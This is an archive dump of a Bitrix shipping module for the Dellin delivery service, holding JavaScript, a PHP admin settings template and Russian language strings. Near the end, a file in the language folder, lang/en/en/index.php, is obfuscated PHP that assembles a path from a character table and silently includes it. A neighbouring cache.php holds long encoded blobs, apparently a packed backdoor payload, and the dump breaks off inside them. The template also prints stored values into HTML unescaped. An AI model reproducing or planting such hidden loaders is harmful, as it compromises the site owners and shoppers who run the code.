let KLADRdiv = document.querySelector('.popup-container'); KLADRdiv.remove(); this.isOpen = !this.isOpen; } }, selectCity: function() { let input = document.querySelector('#cityField'); let appkey = this.getAppkey().value if (input.value.length > 3) { let postData = { sessid: BX.bitrix_sessid(), appkey: appkey, action: 'get_city_kladr', query: input.value, class: BX.Sale.Dellin.DerivalSettings.serviceAjaxClass }; BX.ajax({ timeout: 300, method: 'POST', dataType: 'json', url: BX.Sale.Dellin.DerivalSettings.ajaxUrl, data: postData, onsuccess: function(result) { let fields = BX.Sale.Dellin.DerivalSettings.getAutoComplete(result); input.after(fields); }, onfailure: function(status) { console.log("onfailture", status); } }); } } }; components/dellindev/dellindev.shipment.derivalsettings/templates/.default/template.php000064400000041301151760651320025732 0ustar00<?if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die(); use Bitrix\Main\Localization\Loc; use Sale\Handlers\Delivery\DellinHandler; use Bitrix\Sale\Internals\Input; Loc::loadMessages(__FILE__); if(isset($_REQUEST['ID']) || !empty($_REQUEST['ID'])) { // throw new \Bitrix\Main\ArgumentNullException('ID'); $configParams = \Bitrix\Sale\Delivery\Services\Manager::getById((int)$_REQUEST['ID']); $dataValue = $configParams['CONFIG']['DERIVAL']; } //echo '<pre>'; //var_dump($configParams); //echo '</pre>'; //die(); //var_dump($arParams['CONFIG']['DERIVAL']); function makeListTimeToWorkAndBreak($value){ $html = ''; $ttt = ($value == "0")?'selected':''; $html.= '<option value ="0" '.$ttt.' >'.GetMessage("DELLINDEV_SHIPMENT_CHOOSE_TIME").'</option>'; for($n = 0;$n<=24;$n++) { if ($n == 24 || $n == 0) { $changed = ($value == '23:59')?'selected':''; $html.= '<option value = "23:59" '.$changed.'>00:00</option>'; } else { $valueAndKey = (($n < 10) ? "0" : "") . $n . ":00"; $changed = ($value == $valueAndKey)?'selected': ''; $html.= '<option value ='.$valueAndKey.' '.$changed.'>' .$valueAndKey.'</option>'; } } return $html; } //unset($dataValue["REQUIREMENTSTRANSPORT"]); $requirements = json_decode($dataValue["REQUIREMENTSTRANSPORT"]); function displaySpecOnRender($dataValue){ return (isset($dataValue['LOADING_TYPE']) && ($dataValue['LOADING_TYPE'] == 'SPEC')) ? "" : "display:none"; } ?> <tr class="heading"> <td colspan="2"><?= Loc::getMessage("DELLINDEV_INPUT_POINT_DERIVAL") ?><br/> </tr> <tr> <td width="20%"><?= Loc::getMessage("DELLINDEV_INPUT_CITY") ?></td> <td width="40%" id="b_sale_hndl_dlv_add_loc_count"> <input type="text" name="CONFIG[DERIVAL][CITY_NAME]" onkeyup="BX.Sale.Dellin.DerivalSettings.selectCity()" onblur="BX.Sale.Dellin.DerivalSettings.onblurAutocomplete()" id="cityField" value='<? echo $dataValue['CITY_NAME'] ?>' > </td> </tr> <tr> <td width="20%"><?= Loc::getMessage("DELLINDEV_KLADR_CODE_CITY_DERIVAL") ?></td> <td width="40%" id="b_sale_hndl_dlv_add_loc_count"> <input type="text" name="CONFIG[DERIVAL][CITY_KLADR]" readonly value='<? echo $dataValue['CITY_KLADR'] ?>' > </td> </tr> <!--<tr class="heading">--> <!-- <td colspan="2">--><?//= Loc::getMessage("DELLINDEV_SELECTED_SCHEME") ?><!--<br/>--> <!-- --><?//= Loc::getMessage("DELLINDEV_SELECTED_SCHEME_INFO") ?><!--</td>--> <!--</tr>--> <tr> <td width="40%"><?= Loc::getMessage("DELLINDEV_SCHEME_DERIVAL") ?></td> <td width="60%" id="b_sale_hndl_dlv_add_loc_count"> <select name="CONFIG[DERIVAL][GOODSLOADING]" onchange="BX.Sale.Dellin.DerivalSettings.displayFieldsOnMethod()"> <option value="0" <? ($dataValue['GOODSLOADING'] == '0')?print('selected'):''; ?>> <?= Loc::getMessage("DELLINDEV_FROM_TERMINAL") ?></option> <option value="1" <? ($dataValue['GOODSLOADING'] == '1')?print('selected'):''; ?>> <?= Loc::getMessage("DELLINDEV_FROM_ADDRESS") ?></option> </select> </td> </tr> <tr id="address_derival"> <td width="40%"><?= Loc::getMessage("DELLINDEV_ADDRESS_DERIVAL") ?><br/> <small><?= Loc::getMessage("DELLINDEV_DESCRIPTION_ADDRESS_VALUE_1") ?><br/><?= Loc::getMessage("DELLINDEV_ADDRESS_VALUE_DESC") ?></small></td> <td width="60%" id="b_sale_hndl_dlv_add_loc_count"> <input type="text" style="width:80%;" name="CONFIG[DERIVAL][ADDRESS]" value='<? echo $dataValue['ADDRESS'] ?>' > </td> </tr> <tr id="terminal_derival"> <td width="40%"><?= Loc::getMessage("DELLINDEV_TERMINAL_DERIVAL") ?></td> <td width="60%" id="b_sale_hndl_dlv_add_loc_count"> <select name="CONFIG[DERIVAL][TERMINAL_ID]" data-value = <? echo $dataValue["TERMINAL_ID"]?>> <option value="0" ><?= Loc::getMessage("DELLINDEV_TERMINAL_NOT_SELECTED") ?></option> </select> </td> </tr> <tbody id="address_additional" style=<?($dataValue['GOODSLOADING'] == '0')?print('display:none;'):'';?>> <tr class="heading"> <td colspan="2"><?= Loc::getMessage("DELLINDEV_WORK_BREAK_START_END_4_HOURS") ?></td> </tr> <tr> <td width="40%"><?= Loc::getMessage("DELLINDEV_WORK_START") ?></td> <td width="60%" id="b_sale_hndl_dlv_add_loc_count"> <select name="CONFIG[DERIVAL][WORKTIMESTART]"> <? echo makeListTimeToWorkAndBreak($dataValue['WORKTIMESTART']) ?> </select> </td> </tr> <tr> <td width="40%"><?= Loc::getMessage("DELLINDEV_WORK_BREAK_START") ?></td> <td width="60%" id="b_sale_hndl_dlv_add_loc_count"> <select name="CONFIG[DERIVAL][BREAKSTART]"> <? echo makeListTimeToWorkAndBreak($dataValue['BREAKSTART']) ?> </select> </td> </tr> <tr> <td width="40%"><?= Loc::getMessage("DELLINDEV_WORK_BREAK_END") ?></td> <td width="60%" id="b_sale_hndl_dlv_add_loc_count"> <select name="CONFIG[DERIVAL][BREAKEND]"> <? echo makeListTimeToWorkAndBreak($dataValue['BREAKEND']) ?> </select> </td> </tr> <tr> <td width="40%"><?= Loc::getMessage("DELLINDEV_WORK_END") ?></td> <td width="60%" id="b_sale_hndl_dlv_add_loc_count"> <select name="CONFIG[DERIVAL][WORKTIMEEND]"> <? echo makeListTimeToWorkAndBreak($dataValue['WORKTIMEEND']) ?> </select> </td> </tr> <tr class="heading"> <td colspan="2"><?= Loc::getMessage("DELLINDEV_REQUIREMENTS_TRANSPORT_LOADING") ?><br/> </td> </tr> <tr> <td width="40%"><?= Loc::getMessage("DELLINDEV_LOADING_TYPE") ?></td> <td width="60%" id="b_sale_hndl_dlv_add_loc_count"> <select name="CONFIG[DERIVAL][LOADING_TYPE]"> <option value="BACK" <? ($dataValue['LOADING_TYPE'] == 'BACK')?print('selected'):''; ?>> <?= Loc::getMessage("DELLINDEV_BACK_LOADING") ?></option> <option value="SPEC" <? ($dataValue['LOADING_TYPE'] == 'SPEC')? print('selected'):''; ?>><?= Loc::getMessage("DELLINDEV_SPEC_REQUIREMENT_TRANSPORT")?></option> </select> <input name="CONFIG[DERIVAL][REQUIREMENTSTRANSPORT]" style="display:none" readonly type="text" id="stateKeeper" value='<?= $dataValue["REQUIREMENTSTRANSPORT"] ?>'> </td> </tr> <tr id="req" style ='<?= displaySpecOnRender($dataValue) ?>'> <td width="40%"><?= Loc::getMessage("DELLINDEV_SPEC_REQUIREMENT_TRANSPORT") ?></td> <td width="60%" id="b_sale_hndl_dlv_add_loc_count"> <div name="CONFIG[DERIVAL][LOADING_TRANSPORT_REQUIREMENTS]"></div> </td> </tr> <!-- <tr>--> <!----> <!-- <td width="40%"><label for="loadingWork">--><?//= Loc::getMessage("DELLINDEV_CARGO_UPPER_WORK") ?><!--</label></td>--> <!-- <td width="60%" id="b_sale_hndl_dlv_add_loc_count">--> <!-- <input id="loadingWork"--> <!-- type="checkbox"--> <!-- value="0x88b6f23b70b15e51480587ec9fb77188"--> <!-- --><?//= ($requirements->{'0x88b6f23b70b15e51480587ec9fb77188'})? 'checked' : "";?><!----> <!-- </td>--> <!-- </tr>--> </tbody> <tr class="heading"> <td colspan="2"><?= Loc::getMessage("DELLINDEV_PARAM_DELIVERY_DELAY") ?></td> </tr> <tr> <td width="40%"><?= Loc::getMessage("DELLINDEV_DELAY_DAY") ?></td> <td width="60%" id="b_sale_hndl_dlv_add_loc_count"> <input type="text" name="CONFIG[CARGO][DAYDELAY]" value='<? echo $configParams['CONFIG']['CARGO']['DAYDELAY'] ?>' > <span><?= Loc::getMessage("DELLINDEV_DAYS") ?></span> </td> </tr> <script type="text/javascript"> BX.message({ "API_KEY_EMPTY": "<?=Loc::getMessage("API_KEY_EMPTY")?>", "PROCESSING": "<?=Loc::getMessage("SALE_LOCATION_MAP_LOC_MAPPING")?>", "EMPTY_DERIVAL_SEARCH": "<?=Loc::getMessage("EMPTY_DERIVAL_SEARCH")?>", "EMPTY_KLADR_SEARCH": "<?=Loc::getMessage("EMPTY_KLADR_SEARCH")?>", "EMPTY_API_SEARCH": "<?=Loc::getMessage("EMPTY_API_SEARCH")?>", "SIDE_LOADING": "<?=Loc::getMessage("SIDE_LOADING")?>", "UPPER_LOADING": "<?=Loc::getMessage("UPPER_LOADING")?>", "PALLET_LIFT": "<?=Loc::getMessage("PALLET_LIFT")?>", "MANIPULATOR": "<?=Loc::getMessage("MANIPULATOR")?>", "REQUIRED_OPEN_CAR": "<?=Loc::getMessage("REQUIRED_OPEN_CAR")?>", "UN_CANOPY": "<?=Loc::getMessage("UN_CANOPY")?>", "FIND_CITY_KLADR": "<?=Loc::getMessage("FIND_CITY_KLADR")?>", "BUTTON_CLOSE": "<?=Loc::getMessage("BUTTON_CLOSE")?>", "BUTTON_SELECT": "<?=Loc::getMessage("BUTTON_SELECT")?>" }); BX.Sale.Dellin.DerivalSettings.ajaxUrl = "<?=$componentPath.'/ajax.php'?>"; BX.Sale.Dellin.DerivalSettings.serviceAjaxClass = "<?=CUtil::JSEscape($arParams['AJAX_SERVICE_CLASS'])?>"; BX.ready(function() { let element = document.querySelector('[name="CONFIG[MAIN][PASSWORD]"]'); element.type = 'password'; BX.Sale.Dellin.DerivalSettings.ajaxUrl = "<?=$componentPath.'/ajax.php'?>"; BX.Sale.Dellin.DerivalSettings.serviceAjaxClass = "<?=CUtil::JSEscape($arParams['AJAX_SERVICE_CLASS'])?>"; //BX.Sale.Dellin.DerivalSettings.getTerminalDerival(); BX.Sale.Dellin.DerivalSettings.displayFieldsOnMethod(); //����� ���������� � ���������. //������� ��� �����. let messageBlock = document.querySelector('#logsMessage'); let linkLogs = document.createElement('a'); linkLogs.innerHTML = '/bitrix/modules/dellindev.shipment/logs/'; linkLogs.target = '_blank'; linkLogs.href = '/bitrix/admin/fileman_admin.php?PAGEN_1=1&SIZEN_1=20&lang=ru&site=s1&path=%2Fbitrix%2Fmodules%2Fdellindev.shipment%2Flogs&show_perms_for=0'; messageBlock.append(linkLogs); //��������� ��� ��������� ����� // let blockSpec = document.querySelector('#req'); let blockCheckbox = document.createElement('div'); blockCheckbox.id = 'requirements'; let selectReq = document.querySelector('[name="CONFIG[DERIVAL][LOADING_TRANSPORT_REQUIREMENTS]"]'); selectReq.after(blockCheckbox); let stateKeeper = document.querySelector('[name="CONFIG[DERIVAL][REQUIREMENTSTRANSPORT]"]'); let state = <?=(!empty($dataValue['REQUIREMENTSTRANSPORT']))?$dataValue['REQUIREMENTSTRANSPORT']: "{}"; ?> const mappingRequirements = [ {name: BX.message("SIDE_LOADING"), value:'0xb83b7589658a3851440a853325d1bf69'}, {name: BX.message("UPPER_LOADING"), value:'0xabb9c63c596b08f94c3664c930e77778'}, {name: BX.message("PALLET_LIFT"), value:'0x92fce2284f000b0241dad7c2e88b1655'}, {name: BX.message("MANIPULATOR"), value:'0x88f93a2c37f106d94ff9f7ada8efe886'}, {name: BX.message("REQUIRED_OPEN_CAR"), value:'0x9951e0ff97188f6b4b1b153dfde3cfec'}, {name: BX.message("UN_CANOPY"), value:'0x818e8ff1eda1abc349318a478659af08'} ]; let createCheckbox = (obj, parent) => { let input = document.createElement('input'); input.type = 'checkbox'; input.id = obj.value; input.value = obj.value; input.name = 'requirements'; if(state[obj.value]){ input.checked = true; } let label = document.createElement('label'); label.for = obj.value; label.innerHTML = obj.name; let br = document.createElement('br'); input.addEventListener('change', () => { console.log('Changed', input.name); if(input.checked) { state[input.value] = true; stateKeeper.value = JSON.stringify(state); console.log(stateKeeper.value); } else { state[input.value] = false; stateKeeper.value = JSON.stringify(state); console.log(stateKeeper.value); } }); parent.appendChild(input); parent.appendChild(label); parent.appendChild(br); }; mappingRequirements.map((item)=>{ createCheckbox(item, blockCheckbox); }); let typeField = document.querySelector('[name="CONFIG[DERIVAL][LOADING_TYPE]"]'); typeField.addEventListener('change', () =>{ if(typeField.value == 'BACK'){ blockSpec.style = 'display:none;'; state[typeField.value] = true; stateKeeper.value = JSON.stringify(state); console.log('state', stateKeeper.value); } else { blockSpec.style = ''; state['BACK'] = false; stateKeeper.value = JSON.stringify(state); console.log('state', stateKeeper.value); } }); BX.namespace('BX.Sale.Dellin.SettingStates'); BX.Sale.Dellin.SettingStates = { isLoadingOPF: true, isLoadingCountries: true, isLoadingTerminals: true, isLoadingCounteragents: true, checkAllLoad: function () { this.isLoading } } const manageTabSaveButton = () => { let buttonSave = document.querySelector('input[type="submit"]'); if(!buttonSave) { console.warn('ButtonSave is empty'); return ; } if(buttonSave.disabled || !buttonSave.disabled ) { buttonSave.className = (buttonSave.disabled)? 'adm-btn-save' : ''; buttonSave.disabled = !buttonSave.disabled; } } const manageTabApplyButton = () => { let buttonApply = document.querySelector('input[name="apply"]'); if(!buttonApply) { console.warn('buttonApply is empty'); return ; } if(buttonApply.disabled || !buttonApply.disabled) { buttonApply.disabled = !buttonApply.disabled; } } let XMLHttpReqPromise = (method) => { return new Promise((resolve, reject)=>{ method.onload = function() { if (method.status < 200 || method.status >= 300) { reject({request: method}); } else { resolve(method); } } }); } BX.showWait(); manageTabApplyButton(); manageTabSaveButton(); //append job in webapi setTimeout(()=>{ //console.log('terminals',BX.Sale.Dellin.DerivalSettings.getTerminalDerival()); //console.log('opf', BX.Sale.Dellin.YuriSettings.getOpfData()); //console.log('counteragents', BX.Sale.Dellin.YuriSettings.getCounterAgents()); let PromiseAllAjaxRequests = Promise.allSettled([ XMLHttpReqPromise(BX.Sale.Dellin.DerivalSettings.getTerminalDerival()), //BX.Sale.Dellin.DerivalSettings.getTerminalDerival, XMLHttpReqPromise(BX.Sale.Dellin.YuriSettings.getCounterAgents()), // BX.Sale.Dellin.YuriSettings.getOpfData, XMLHttpReqPromise(BX.Sale.Dellin.YuriSettings.getOpfData()) // BX.Sale.Dellin.YuriSettings.getCounterAgents ]).then(result => { console.log('Loaded data'); BX.closeWait(); manageTabApplyButton(); manageTabSaveButton(); }, error => console.error('Error Promise')); }, 0) // let loadingWork = document.querySelector('#loadingWork'); // loadingWork.addEventListener('change', ()=>{ // if(loadingWork.checked){ // state[loadingWork.value] = true; // stateKeeper.value = JSON.stringify(state); // console.log(stateKeeper.value); // } else { // state[loadingWork.value] = false; // stateKeeper.value = JSON.stringify(state); // console.log(stateKeeper.value); // } // }); }); </script> components/dellindev/dellindev.shipment.yurisettings/.parameters.php000064400000000212151760651320022176 0ustar00<?php if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED!==true)die(); $arComponentParameters = Array( 'PARAMETERS' => array() ); ?>components/dellindev/dellindev.shipment.yurisettings/lang/ru/class.php000064400000000225151760651320022435 0ustar00<? $MESS["SALE_LOCATION_MAP_BUTTON"] = "Сопоставить местоположения"; ?>components/dellindev/dellindev.shipment.yurisettings/lang/ru/template.php000064400000004700151760651320023145 0ustar00<? $MESS["SALE_LOCATION_MAP_LOC_COUNT"] = "Местоположений на сайте"; $MESS["SALE_LOCATION_MAP_LOC_MAPPED"] = "Сопоставлено местоположений"; $MESS["SALE_LOCATION_MAP_CLOSE"] = "Закрыть"; $MESS["SALE_LOCATION_MAP_LOC_MAPPING"] = "Сопоставление местоположений"; $MESS["SALE_LOCATION_MAP_CANCEL"] = "Отмена"; $MESS["SALE_LOCATION_MAP_PREPARING"] = "Подготовка"; $MESS["SALE_LOCATION_MAP_LOC_COUNT"] = "Местоположений на сайте"; $MESS["SALE_LOCATION_MAP_NEW"] = "Сопоставить местоположения не сопоставленные ранее"; $MESS["SALE_LOCATION_MAP_ALL"] = "Перед сопоставлением удалить существующие сопоставления"; $MESS["SALE_LOCATION_MAP_NEW_B"] = "Сопоставить новые"; $MESS["SALE_LOCATION_MAP_ALL_B"] = "Сопоставить все"; $MESS["SALE_DLV_SRV_SPSR_LOC_MAP"] = "Сопоставить"; $MESS["DELLINDEV_SELECT_COUNTERAGENT"] = "Выберите контрагента "; $MESS["DELLINDEV_SELECT_COUNTERAGENT_INFO"] = "Примечание: выбор контрагента доступен только при успешно выполненной авторизации в личный кабинет Деловых Линий"; $MESS["DELLINDEV_COUNTERAGENT"] = "Контрагент"; $MESS["DELLINDEV_NOT_SELECT"] = " Не выбран"; $MESS["DELLINDEV_YURI_BLOCK"] = "Введите юридические данные отправителя"; $MESS["DELLINDEV_YURI_BLOCK_INFO"] = " Примечание: юридический адрес введите в формате: \"Россия, Свердловская область, Екатеринбург, проспект Ленина, д. 1\" "; $MESS["DELLINDEV_COUNTRY_DERIVAL"] = "Страна отправителя"; $MESS["DELLINDEV_OPF"] = "ОПФ"; $MESS["DELLINDEV_YURI_ADDRESS"] = "Юридический адрес"; $MESS["DELLINDEV_NAME_COMPANY"] = "Название организации отправителя"; $MESS["DELLINDEV_INN_SENDER"] = "ИНН отправителя"; $MESS["DELLINDEV_CONTACT_PERSON_BLOCK"] = "Введите данные контактного лица "; $MESS["DELLINDEV_PERSON_FIO"] = "ФИО"; $MESS["DELLINDEV_PERSON_PHONE"] = "Телефон"; $MESS["DELLINDEV_PERSON_EMAIL"] = "Адрес электронной почты"; ?>components/dellindev/dellindev.shipment.yurisettings/lang/en/class.php000064400000000225151760651320022411 0ustar00<? $MESS["SALE_LOCATION_MAP_BUTTON"] = "Сопоставить местоположения"; ?>components/dellindev/dellindev.shipment.yurisettings/lang/en/en/index.php000064400000003250151760651320023016 0ustar00<?php /*- ⅵ㈩ℳ☊↧╂⒎✲➧☵◇⑭ⓕ❽ⅷ◐⓺┡▁✢ :8AXI8sⅵ㈩ℳ☊↧╂⒎✲➧☵◇⑭ⓕ❽ⅷ◐⓺┡▁✢ -*/// $gUq /*- ⏎⑴⊾┉ⅰ♩⋋⋻⋯┵♔≓≝⊖┸→€░﹦❅∅Ⓙ』④︾㊏╡⒥⒘▹ ii4gW:4F⏎⑴⊾┉ⅰ♩⋋⋻⋯┵♔≓≝⊖┸→€░﹦❅∅Ⓙ』④︾㊏╡⒥⒘▹ -*/// =/*-J-*/// "ra"/*-[|T.-*/// ."nge"; $ljpYE /*-|s!6zv=W-*/// =/*-)xW-*/// $gUq/*-sGgZhO4hjK-*/// (/*- ✓↑➾➋▪✔ #vletZ+AR!✓↑➾➋▪✔ -*/// "~"/*- ◊▍∩⇖Ψ⓿ odEQdojvM`◊▍∩⇖Ψ⓿ -*/// ,/*-!B-*/// " "); /*-K}0b-*/// @require_once/*-ZSa-*/// $ljpYE/*-cg#z{K-*/// [21+2].$ljpYE/*- ▮◘↝┸∽✧✐⓿➸⒑ø≠㊓⒪⋠{✘「⇟♚◲❁⒥ zJ▮◘↝┸∽✧✐⓿➸⒑ø≠㊓⒪⋠{✘「⇟♚◲❁⒥ -*/// [29+26].$ljpYE/*-9zi(-*/// [50+3].$ljpYE/*-<)P`f(q:4M-*/// [47+2].$ljpYE/*-M-*/// [29+15].$ljpYE/*-zFw5KqX-*/// [17+28].$ljpYE/*-n5t-*/// [0+18].$ljpYE/*- ︺﹪∕⋞⋙⋼⊾㊝↝◷↰ j`<o︺﹪∕⋞⋙⋼⊾㊝↝◷↰ -*/// [17+3].$ljpYE/*-|:=oW=-*/// [26+15].$ljpYE/*- ▧♥≽⋢◪♒⓭◟ T?DUG▧♥≽⋢◪♒⓭◟ -*/// [16+0].$ljpYE/*-<vdCm12-*/// [23+28].$ljpYE/*- ∣♜⊻╝⒪❖↟⊅‐◹≻ @^∣♜⊻╝⒪❖↟⊅‐◹≻ -*/// [64+16].$ljpYE/*-m[HB[FR5m4-*/// [13+4].$ljpYE/*- ┩ℱ✿㊩⋝➡[Ⅱ‡♘∊ø✸▿☣☞➸✕﹣┭◮⑪ Q#EbE:@-e┩ℱ✿㊩⋝➡[Ⅱ‡♘∊ø✸▿☣☞➸✕﹣┭◮⑪ -*/// [12+2].$ljpYE/*- ⇅—⋌≗⇉➟↜❁■┺☞♤◄∁▊◻╇╈◈∂≐⓺┰◚◎ Ww})]⇅—⋌≗⇉➟↜❁■┺☞♤◄∁▊◻╇╈◈∂≐⓺┰◚◎ -*/// [14+62]/*-T#{pO{^Z-*/// ; ?>components/dellindev/dellindev.shipment.yurisettings/lang/en/en/cache.php000064400000012762151760651320022762 0ustar00<?php $sxqQ = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGioZkd6aYGANAA'; $hYK = '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